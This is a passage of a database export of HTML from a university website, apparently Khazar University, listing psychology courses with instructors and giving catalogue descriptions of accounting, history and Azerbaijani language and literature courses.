 <td>AZE</td>\r\n  <td>PSYC102</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSYC413</td>\r\n  <td>Counseling psychology\r\n  \\Psixoloji konsultasiya</td>\r\n  <td>3</td>\r\n  <td>Anar Babayev</td>\r\n  <td>7</td>\r\n  <td>AZE</td>\r\n  <td>PSYC311</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSYC416</td>\r\n  <td>Clinical psychology\r\n  \\Klinik psixologiya</td>\r\n  <td>3</td>\r\n  <td>Tahmasib Javadzada</td>\r\n  <td>4</td>\r\n  <td>AZE</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSYC417</td>\r\n  <td>Anatomy and\r\n  physiology of the central nervous system \\MSS anatomiyası və fiziologiyası</td>\r\n  <td>3</td>\r\n  <td>Aygun Isgandarova</td>\r\n  <td>5</td>\r\n  <td>AZE</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSYC441</td>\r\n  <td>Cognitive psychology\r\n  \\Zehni psixologiya</td>\r\n  <td>3</td>\r\n  <td>Aygun Isgandarova</td>\r\n  <td>6</td>\r\n  <td>AZE</td>\r\n  <td>PSYC102</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSYC414</td>\r\n  <td>Internship \\Təcrübə</td>\r\n  <td>3</td>\r\n  <td>Tahmasib Javadzada</td>\r\n  <td>5</td>\r\n  <td>AZE</td>\r\n  <td>&nbsp;</td>\r\n  <td>45 hr.</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td colspan=\"8\" height=\"21\" class=\"xl76\" style=\"text-align: center;\" border-right:.5pt=\"\" solid=\"\" black;height:15.75pt\"\"=\"\"><h3><strong>Department of Psychology&nbsp;– </strong><strong>Masters on General and Clinical\r\n  Psychology</strong></h3></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CPSY620</td>\r\n  <td>Cognitive Behavioral\r\n  therapy \\Zehni Davranış Terapiyası</td>\r\n  <td>3</td>\r\n  <td>Malak Karimova</td>\r\n  <td>7</td>\r\n  <td>AZE</td>\r\n  <td>&nbsp;</td>\r\n  <td>X</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CPSY710</td>\r\n  <td>Clinical psychology\r\n  \\Klinik psixologiya</td>\r\n  <td>3</td>\r\n  <td>Tahmasib Javadzada</td>\r\n  <td>3</td>\r\n  <td>AZE</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;X 30 hr.</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CPSY720</td>\r\n  <td>Forensic psychology\r\n  \\Hüquq psixologiyası</td>\r\n  <td>3</td>\r\n  <td>Laman Verdiyeva</td>\r\n  <td>7</td>\r\n  <td>AZE</td>\r\n  <td>&nbsp;</td>\r\n  <td>X</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CPSY730</td>\r\n  <td>Addiction psychology\r\n  \\Asılılıq psixologiyası</td>\r\n  <td>3</td>\r\n  <td>Roya Mirzayeva</td>\r\n  <td>7</td>\r\n  <td>AZE</td>\r\n  <td>&nbsp;</td>\r\n  <td>X</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CPSY635</td>\r\n  <td>Ethical principles in\r\n  psychology \\Psixologiyada etik prinsiplər</td>\r\n  <td>3</td>\r\n  <td>Jeyhun Mammadov</td>\r\n  <td>4</td>\r\n  <td>AZE</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;X 30 hr.</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CPSY745</td>\r\n  <td>Practice \\Təcrübə</td>\r\n  <td>6</td>\r\n  <td>Tahmasib Javadzada</td>\r\n  <td>4</td>\r\n  <td>AZE</td>\r\n  <td>&nbsp;</td>\r\n  <td>30 hr.</td>\r\n </tr></tbody></table>  <div style=\"text-align:center\"><br></div>'),(1250,650,'az','Faydalı linklər','',''),(1251,770,'en','A','A','<div><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><h3>Classification of Courses</h3>  <br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The Khazar course numbering system is based on a set of abbreviations for the academic disciplines, and three-digit course number. Most courses at Khazar University are numbered according to the following plan:</p><ul style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><p>Primarily for pre-freshman courses 001 - 099</p></li><li><p>For freshmen and sophomore undergraduate courses 100 - 199 and 200-299</p></li><li><p>For advanced undergraduate and some graduate courses 300 - 399 and 400-499</p></li><li><p>For Graduate Courses 500 and higher</p></li></ul><ul style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></ul><table width=\"896\" height=\"8851\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td><p><a href=\"http://www.khazar.org/s931/Course-descriptions/en#ACC\">Accounting (ACC)</a></p><p><a href=\"http://www.khazar.org/s931/Course-descriptions/en#ART\">Art (ART)</a></p><p><a href=\"http://www.khazar.org/s931/Course-descriptions/en#AZH\">Azerbaijani History<strong>&nbsp;</strong>(AZH)</a></p><p><a href=\"http://www.khazar.org/s931/Course-descriptions/en#AZLL\">Azerbaijan Language and Literature&nbsp;(AZLL)</a></p><br></td><td><p><strong><a></a>ACC 210: Principles of Accounting&nbsp;(3 credits)</strong></p><p>Prerequisite: BSA 101</p><p>This is an introductory course in accounting. It covers such topics as accounting and business environment, translating business activities into accounting information, accounting cycle, merchandising operations, inventory, internal control and cash, receivables, liabilities, assets and intangibles, time value of money and financial statements, using information from accounting system for investment and management decisions.</p><p><strong>&nbsp;</strong></p><p><strong>ACC 310: Financial Accounting (3 credits)</strong></p><p>Prerequisite: ACC 210</p><p>The course introduces financial accounting concepts and principles. It is designed to be a combination of both accounting and finance that will lay a strong background for further studies in financial subjects. The course covers the following topics: accounting principles and concepts; balance sheets, accrual vs. cash basis of income measurement; income statement; journals and ledger recording; trial balance, accrual and deferral adjustments, the &nbsp;accounting cycle, sales, cash and accounts receivable; estimating uncorrectable accounts, valuing inventories, ratio and trend analysis, present and future value concepts; liabilities, statements of cash flows, stockholders’ equity, dividends and treasury stock.</p><p><strong>&nbsp;</strong></p><p><strong>ACC 350: Accounting Information Systems (3 credits)</strong></p><p>Prerequisite: ACC 210, BSA 210</p><p>This course introduces the foundations of accounting information systems, provides knowledge and skills required by accountants as users, managers, designers, and evaluators of information systems. The topics covered include choosing, extracting, and analyzing relevant information to solve business problems, documenting and modeling business processes, developing information systems, and designing and evaluating internal controls in information systems, analyzing and resolving contemporary issues in accounting information systems.</p><p><strong>&nbsp;</strong></p><p><strong>ACC 410: Managerial Accounting&nbsp;(3 credits)</strong></p><p><strong>Prerequisite: FIN 310, ACC 210</strong></p><p>The course covers approaches to providing accounting and processing information for effective management of for-profit and nonprofit organizations.</p><p><strong>&nbsp;</strong></p><p><strong>ACC 415: Statutory Accounting (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ACC 210</strong></p><p>The course covers the study of statutory accounts and reporting requirements; domestic auditing standards; and domestic oil and gas accounting requirements.</p><p><strong>&nbsp;</strong></p><p><strong>ACC 420: Financial Reporting (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ACC 210, FIN 310</strong></p><p>The course covers analysis of the International Financial Reporting Standards, focusing on revenue and expense recognition and the measurement of assets and liabilities; concepts and theories underlying financial statements; introduction to international reporting standards; balance sheet; income statement, statement of changes in equity; cash flow statement; cash and receivables; inventory; revenue and expense recognition; property, plant and equipment; intangible assets.</p><p><strong>&nbsp;&nbsp;</strong></p><p><strong>ACC 430: International Accounting (3 credits)</strong></p><p><strong>Prerequisite: ACC 210</strong></p><p>Securities regulation and trading; various national accounting standards; the harmonization of accounting standards internationally; accounting for the translation of transactions and foreign subsidiary financial statements.</p><p>&nbsp;</p><p><strong>ACC 440: Cost Accounting (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ACC 210, FIN 310</strong></p><p>Students study cost accounting, accounts and investments; inventory accounts; manufacturing accounts; and material use variance accounts.</p><p><strong>&nbsp;</strong></p><p><strong>ACC 450: Auditing (3 credits)</strong></p><p><strong>Prerequisite: ACC 310</strong></p><p>The course develops student’s knowledge of auditing services. Topics include the role of auditing services in society, audit programs planning, design and implementation.</p><p>&nbsp;</p><p><strong>ACC 490: Taxation&nbsp;(3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ACC 310</strong></p><p>This course introduces students to the tax concepts applicable to sole proprietorships, partnerships, corporations, estates, and trusts. Emphasis is placed on differences between tax and financial accounting concepts. In addition, students are exposed to accounting periods and methods, deferred compensation, tax planning, ethical practices, and tax research.</p><p><strong>&nbsp;</strong></p><p><strong>ACC 800: Accounting for Financial Decisions (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: None</strong></p><p>This course is designed for graduate students. The course will focus on the financial decision makers. The purpose of this course is to introduce the «basic concepts» of accounting and finance. With knowledge in accounting and the basic elements of finance, one can understand how specific techniques and decision rules can be used. The course covers the following topics: basic accounting concepts, revenue and monetary systems, cost of sales and inventory, non-monetary assets, sources of capital, and strategic investment decisions.</p><p><strong>&nbsp;</strong></p><p><strong>ACC 801: Financial Accounting (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisites: None</strong></p><p>The course is designed for the graduate students majoring in Economics and Business Administration as a required course. This course will focus on the user of accounting information. The purpose of this course is to introduce the «basic concepts» of accounting. With knowledge in accounting, one can understand how specific techniques and decision rules can be used from accounting records. The course covers the following topics: analyzing transactions; the matching concept and adjusting process; completing the accounting cycle; accounting for different types of businesses; accounting systems, internal controls and cash; receivables; inventories; fixed assets and intangible assets; current liabilities; corporations: organization, capital stock transactions and dividends; corporations: income and taxes, stockholders’ equity and investments in stocks; bonds payable and investments into bonds; statement of cash flows; and financial statement analysis.</p><p>&nbsp;</p><p><strong>ACC 810: Auditing (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p>The course provides knowledge important for the students majoring in Accounting and Finance. It includes planning audit, designing audit programs with internal control, audit evidence, audit work papers, cash and marketable securities, accounts receivable, inventories, property, plant and equipment, accounts payable and other liabilities, debt and equity capital losses and auditor’s reports. Casework is practiced.</p><p><strong>&nbsp;</strong></p><p><strong>ACC 840: Management and Cost Accounting (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p>Use of accounting information for internal planning and control purposes; role of accounting in decisions concerning resource allocation, cost and performance analysis, evaluation of business units using data obtained from the accounting system. Use of cost information for operational and strategic control; application of statistical tools and decision models to accounting data for the purpose of facilitating managerial control; identifying cost behavior with respect to managerial decision; measuring and controlling the consumption of resources by a firms products; analyzing product cost systems in diverse production and non-manufacturing settings.</p><p>&nbsp;</p><p><strong>ACC 860: Accounting Information Systems&nbsp;(3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p>This course introduces the foundations of accounting information systems, provides knowledge and skills required by accountants as users, managers, designers, and evaluators of information systems. The topics covered include choosing, extracting, and analyzing relevant information to solve business problems, documenting and modeling business processes, developing information systems, and designing and evaluating internal controls in information systems, analyzing and resolving contemporary issues in accounting information systems. This course focuses on the knowledge and skills required providing assurance for information systems for the purpose of managing business risk.</p><p><strong>&nbsp;</strong></p><p><strong>ACC 870: International Accounting Practices (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p>This course is designed to study and resolve accounting problems involved in international operations. It encompasses the comparative study of different national accounting systems, the problems caused by the existing differences in practices for international operations, and organizations which have emerged to reconcile differences and to handle international accounting problems.</p><p><strong>&nbsp;</strong></p><p><strong>ACC 880: Advanced Accounting Topics (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ACC 800 or ACC 801, ACC 840</strong></p><p>This course is specialized in accounting topics including accounting and reporting for business combinations, international accounting and foreign currency issues, partnership accounting and other topics.</p><p><strong>&nbsp;</strong></p><p><strong><a></a>ART 231: Painting (3 credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>Basic fundamentals of painting. Color and basic techniques. Studio work and exhibition.</p><p>&nbsp;</p><p><a></a><strong>HIST 116: History of Turks (3 credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>Comprehensive study of the history of the Caucasian Turkic peoples\' civilizations and cultures. There role in the process of shaping of the contemporary Caspian region\'s ethnic situation, especially their influence in the formation of Azerbaijani nation. The course embraces the history of the Caucasus Turkish Tribes and Fore Asia; formation of the Turkish States and empires in Siberia, Altay, Middle Asia, Western Europe, and on the shores of the Black Sea. Economics, culture, religion, and mode of the life of Turkish peoples are discussed.</p><p>&nbsp;</p><p><strong>HIST 117: History of the Hun (3 credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>The course studies the historical origin of the Hun, their political and ethnic characteristics and geographical location. The historical role of the Hun in the formation of European and Asian, and in particular Azerbaijani ethnicity is of great importance. A study of history of the Hun is based on the Chinese, European and Caucasian sources, both written and archeological ones. Topics for research and course theses will be offered for persons interested.</p><p>&nbsp;</p><p><strong>HIST 210: Pre-Islamic History of Azerbaijan and Its Neighbors (Ancient and Early Medieval Period) (3 credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>The course covers the period from the very beginning of civilization until the 8th century AD Comparative history of the ancient Azerbaijani people and the people of Georgia, Armenia, Daghestan, other Caucasian people is discussed. Emphasis is given to the formation of the states like Manna, Athropatheus, and Caucasian Albania.</p><p>&nbsp;</p><p><strong>HIST 211: History of Azerbaijan (8th - 18th Centuries) (3 credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>History of Azerbaijan of the Middle Ages: Arabian invasion, inclusion of Azerbaijan into Arabian Caliphate, and beginning of the country\'s Islamization. Study of historical development of the local feudal states in Azerbaijan: Shirvanshahs, Sajids, Shaddadids, Salarids, and Ravvadids. Formation of the Saljug Empire in Central Asia and Azerbaijan. The 12th century Azerbaijani culture. Mongol invasion. Azerbaijan in Chinghiz Khan\'s Empire and in the states of Ilkhans and Khulagiuds. The states of Qaraqoyunlu and Agqoyunlu. Safavids state of Azerbaijan. Azerbaijan in the 18th century. Azerbaijan as an arena of rivalry among Russia, Persia, and the Ottoman Empire.</p><p>&nbsp;</p><p><strong>HIST 212: Modern and Contemporary History of Azerbaijan (3 credits)</strong></p><p><strong>Prerequisite: HIST 211</strong></p><p>The course is connected with the continuous rivalry of Empires for Caucasus, the division of the country into two parts between Russia and Persia (Gulustan and Turkmancay Treaties of 1813 and 1828). Since that time until 1991 North Azerbaijan existed within Russian Empire and then the USSR, but South Azerbaijan - within the Persia (Iran). A significant place is given to the History of Azerbaijan after the declaration of Independent ADR (Azerbaijan Democratic Republic) in 1918 and after 1991 - with the formation of the sovereign AR (Azerbaijan Republic).</p><p><strong>HIST 213: History of the Formation and Development of Capitalistic Oil Production in Azerbaijan (3 credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>The course studies the peculiarities of the formation and development of large-scale capitalist oil industry in Azerbaijan. Social-economic movements in the sphere of oil engineering; oil exportation; discoveries of new hydrocarbon resources. Creation of new oil-producing factory. Transformation of Baku into the world center of oil industry. Concentration and flow of foreign investments. The beginning of monopolization of oil industry in Azerbaijan by Nobel brothers and establishment of the great monopolistic union – \"Nobel-Mazut\". Investments of international Anglo-Dutch company \"Shell\" into oil industry of Baku. Oil production during World War I: influence of the war to the structure of production; role of Azeri oil during the war. Foundation of the council of Baku oil-producers. The development of oil industry in Azerbaijan during the Soviet period.</p><p><strong>HIST 215: Introduction to Archeology (3 credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>The course studies primitive, antique, and medieval historical material sources; restores the historical past of the mankind; investigates important changes in the development of productive forces, social relations; ascertains the origin of nations, formation and development of their culture; retraces cultural and historical relations and formation of ethnic communities. Traces the development of native Azerbaijan culture from the peopling of the continent to early historic times. Examines the archeological evidence for the antiquity, spread, and variation of cultural adaptation to changing ecological conditions.</p><p>&nbsp;</p><p><strong>HIST 216: Modern History of the Middle East (3 credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>The course presents a survey of the political, social and economic evolution of the Middle East in the 19th and 20th centuries, covering the impact of the West on the traditional socio-political order, state-and nation-building in the 20th century, the development of a new social order, and political and ideological conflict within and between states.</p><p>&nbsp;</p><p><strong>HIST 217: History of the Origins and Development of Islam (3 credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>The course is primarily concerned with the emergence and consolidation of the Islamic world -- the most significant transition in the history of the Middle East and North Africa between the origins of civilization and modern times. The overall framework is one of political history broadly conceived; within this framework themes taken from religious, cultural, social and economic history will receive considerable attention. The history of origin and formation of Islamic religion. Analysis of the history of basic Islamic doctrines\' development known as Arkan al-Islam (pillars of Islam). The review of some religious dogmas will require more extensive (from the point of chronology) review of the problem. Arabic language capability is welcomed but not required.</p><p>&nbsp;</p><p><strong>HIST 220: Introduction to Ethnography (3 credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>An introduction to the basic concepts and theories of ethnography. Study of the ethnography of Azerbaijan and ethnography of the world. The course deals with general ethnic processes, ethnic factor in the history and in the modern life, types of classification of people in the world, their economic and spirituaculture. Ethnic composition and ethno- political history of Azerbaijan are emphasized.</p><p>&nbsp;</p><p><strong>HIST 313. History of South Azerbaijan (3 credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>Study of the history of South Azerbaijan from the specific aspect of its historical and socio-political development. The division of Azerbaijan in the beginning of XIX century into North and South Azerbaijan, creation of separate (different) fates and histories of one nation under the rule of the Russian and Persian empires. Emphasis of the processes occurring in South Azerbaijan after the peace treaties of Gulustan and Turkmancay in 1813 and 1828; Iranian policy of the coercive assertion of Persian culture on the population of South Azerbaijan; national-liberation movements guided by S.M.Khiyabani, Sattarkhan, and S.C.Pishavari. The course includes, as well as, the topics: South Azerbaijan during the \"cold war\"; contemporary South Azerbaijan; idea of the \"United Azerbaijan\" -- historical evolution, development, and realization tendencies.</p><p>&nbsp;</p><p><strong>HIST 316: Socio-political situation in Azerbaijan in the 19-20thcenturies(3 credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>The development of national-democratic and revolutionary movements in Azerbaijan; formation of political parties and development of the national self- consciousness. The political activity of national intelligentsia. Participation of Azerbaijan political figures in four State Dumas of Russia and the beginning of formation of Azerbaijan national political system. The formation and active participation of the first national organizations in the movement for political, economic, and social rights of Azerbaijani peoples.</p><p>&nbsp;</p><p><strong>HIST 317: International Status of Azerbaijan in 1917 – 1920 (3 credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>Study of the political situation in Azerbaijan after the Russian Empire\'s fall. The Democratic Republic of Azerbaijan - the first democratic state in the Muslim East. Analysis of the formation of the national Azerbaijan state and its international recognition. Survey of the Democratic Republic of Azerbaijan Government\'s activity. Participation and acceptance of Azerbaijani delegation in the Paris Peace conference. The relationships with other states. The Soviet Russia aggression in April 1920 and the breach of historical development of Azerbaijan State system.</p><p>&nbsp;</p><p><strong>HIST 320: Ethnology (3 credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>The purpose of the course is to study the main basic theoretical aspects of knowledge on anthropology as the science studying human being, culture, and society in the global and general historic context. The course intends to present a comprehensive knowledge on the features of the methods, the investigating objects of this sphere of science. Emphasis is on such problems as: western ethnology and its main directions; ethno-sociology; ethnicity and nation; ethno-demographic investigations; ethnology and anthropology; political ethnology.</p><p>&nbsp;</p><p><strong>HIST 550: History of Iran (3 credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>The course embraces long history of Iran. But attention has been given mainly to the modern and contemporary history of the multi-ethnic country. The Islamic revolution and current situation in the country have selected for more in-depth studies.</p><p><br></p><p><strong><a></a>AZLL 101: Azerbaijani Language (University Requirement) (3 credits)</strong></p><p><strong>Prerequisite: High School Azerbaijani language</strong></p><p>This course prepares students for analyzing academic texts and technical material in Azerbaijani. Advanced skills in academic and creative writing and reading comprehension are honed using academic literature across various disciplines. The topics cover culture, environment, customs and traditions, history, economics, etc.</p><p>&nbsp;</p><p><strong>AZLL 102.&nbsp; Introduction to Writing (3 credit)</strong></p><p><strong>Prerequisite AZLL 101.</strong></p><p>Writing Strategy. Planning and organizing source material for writing, revising, editing and proofreading. Summaries, critiques and syntheses of texts. Essay and creative writing. Academic and Business writing. Prose style.&nbsp;</p><p><strong>&nbsp;</strong></p><p><strong>AZLL 103: Azerbaijani Language for Foreigners (3 credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>The main emphasis is the communicative role of four skills – reading, writing, listening, and speaking. These skills are taught within the frame of topics such as greetings, making acquaintances, congratulations and thankfulness, (dis) approvals, requests, demands, introductions, apologizing, condolences, praying, etc.</p><p><strong>&nbsp;</strong></p><p><strong>AZLL 104: Advanced Azerbaijani Language (3 credits)</strong></p><p><strong>Prerequisite: AZLL 101</strong></p><p>More complex in nature, this course covers the following problematic areas of the Azerbaijani language. Semantic structure, meaning its narrowing and broadening; semantic groupings in Azerbaijani language. Grammar, basic divisions and relations within them; grammatical categories. Syntax, the types of phrases and the sentences; text linguistics and its problematic issues; syntax of poetry; punctuation marks and their functions.</p><p><strong>&nbsp;</strong></p><p><strong>AZLL 105: Azerbaijani Literature (University Requirement) (3 credits)</strong></p><p><strong>Prerequisite: AZLL 101</strong></p><p>The course covers study of the Azerbaijani literature from Ancient to contemporary times through historical periods. The life and works of prominent Azerbaijani poets and writers, as well as their literary works are studied. The course also covers brief information about the history and theory of literature, main goals and objectives of literary critics, etc. Central to the coursework is the study and discussion of selected works of prominent figures in Azerbaijani literature.</p><p><strong>&nbsp;</strong></p><p><strong>AZLL 106: Modern Azerbaijani Language 1 (3 credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>This course discusses the sound system, phonetic phenomenon and rules of Azerbaijan literary language. It explains pronunciation norms, formation and type of writing, peculiarities of alphabet, vocabulary structure and its richness, features and the ways of development. Information is given about principles used in the orthography of Azerbaijani. The characteristic meaning of words, types of proper names, and their origin and usage in Azerbaijani literary language are elucidated in this course. It also gives information about the dictionary and its various types, rules of dictionary compilation, and ways of word-building in the literary language.</p><p>&nbsp;</p><p><strong>AZLL 107-307: History of Azerbaijani Literature 1-5</strong></p><p>The course covers the emergence and evolution of the Azerbaijani literature from the times of early folklore literature up to the present in chronological order and through the stages of its development. The life and works of individual writers and poets who lived in different periods are studied, their literary activities are explored, national and global issued on which they focused are analyzed, the literary influences of a writer/poet on others are determined, and their creative activities are systemized in line with the historical period they lived. Central to the coursework is the study of selected pieces of literary work by the students and discussions on these works. The course is divided into the following 5 parts – each part lasts one semester and consists of&nbsp;<strong>3 credits</strong>:</p><ul type=\"disc\"><li><strong>AZLL 107: History of Azerbaijani Literature 1:</strong></li></ul><p><strong>&nbsp;Azerbaijani Folklore</strong></p><p><strong>Prerequisite: NONE</strong></p><ul type=\"disc\"><li><strong>AZLL 109: History of Azerbaijani Literature 2:</strong></li></ul><p><strong>&nbsp;Ancient and Medieval Literature Prerequisite: AZLL 107</strong></p><ul type=\"disc\"><li><strong>AZLL 207: History of Azerbaijani Literature 3:</strong></li></ul><p><strong>Azerbaijani Literature from 17<sup>th</sup>&nbsp;to mid-19<sup>th</sup>&nbsp;centuries&nbsp;</strong></p><p><strong>Prerequisite: AZLL 109.</strong></p><ul type=\"disc\"><li><strong>AZLL 208: History of Azerbaijani Literature 4:</strong></li></ul><p><strong>Azerbaijani Literature from mid-19<sup>th</sup>&nbsp;to early 20<sup>th</sup>&nbsp;centuries</strong></p><p><strong>Prerequisite: AZLL 207</strong></p><ul type=\"disc\"><li><strong>AZLL 307: History of Azerbaijani Literature 5:</strong></li></ul><p><strong>20<sup>th</sup>&nbsp;century Azerbaijani Literature Prerequisite: AZLL 208</strong></p><p>&nbsp;</p><p><strong>AZLL 108: Modern Azerbaijani Language 2 – Morphology (3 credits)</strong></p><p><strong>Prerequisite: AZLL 106</strong></p><p>All important practical problems concerning morphology are covered in the teaching of this subject. This curriculum analyzes the modern Azerbaijani grammatical system, its originality and other features. The words are grouped according to their meaning, form, function and rules of modification.</p><p><strong>&nbsp;</strong></p><p><strong>AZLL 205: Advanced Azerbaijani Literature (3 credits)</strong></p><p><strong>Prerequisite: AZLL 105</strong></p><p>This course aims at giving optimal knowledge on advanced Azerbaijani Literature. It covers the latest Azerbaijani Literature, development of journalistic genres, searches for new forms and contents in literature. The course also includes written and oral compositions on the bases of classic and modern literary extracts.</p><p>&nbsp;</p><p><strong>AZLL 206: Modern Azerbaijani Language 3 – Syntax (3 credits)</strong></p><p><strong>Prerequisite: AZLL 108</strong></p><p>It explains teaching of word combinations, syntactic relations, 